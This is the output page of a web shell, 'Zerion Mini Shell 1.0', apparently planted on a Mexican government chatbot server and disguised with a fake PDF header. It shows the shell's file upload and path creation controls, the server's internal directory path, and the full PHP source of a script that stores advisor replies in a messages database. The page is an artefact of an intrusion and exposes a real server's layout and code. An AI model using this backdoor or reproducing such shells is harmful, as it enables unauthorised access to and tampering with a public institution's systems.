%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/chatbot.tjamich.gob.mx/asesores/ajax/
Upload File :
Create Path :
Current File : /home/tjamichg/chatbot.tjamich.gob.mx/asesores/ajax/ajax_enviar.php

<?php
//session_start();
header("Content-Type: application/json charset=utf-8");
require("../../conexion/conexion.php");

// Validar
if (!isset($_POST['telefono']) || !isset($_POST['respuesta'])) {
    echo json_encode(["success" => false, "error" => "Faltan parĂ¡metros"]);
    exit;
}

$telefono = $conexion->real_escape_string($_POST['telefono']);
$respuesta = $conexion->real_escape_string($_POST['respuesta']);

// Guardar como respuesta del asesor
$query = "INSERT INTO mensajes (telefono, mensaje_usuario, mensaje_asesor) VALUES ('$telefono', '', '$respuesta')";

if ($conexion->query($query)) {
    echo json_encode(["success" => true]);
} else {
    echo json_encode(["success" => false, "error" => $conexion->error]);
}
?>

Zerion Mini Shell 1.0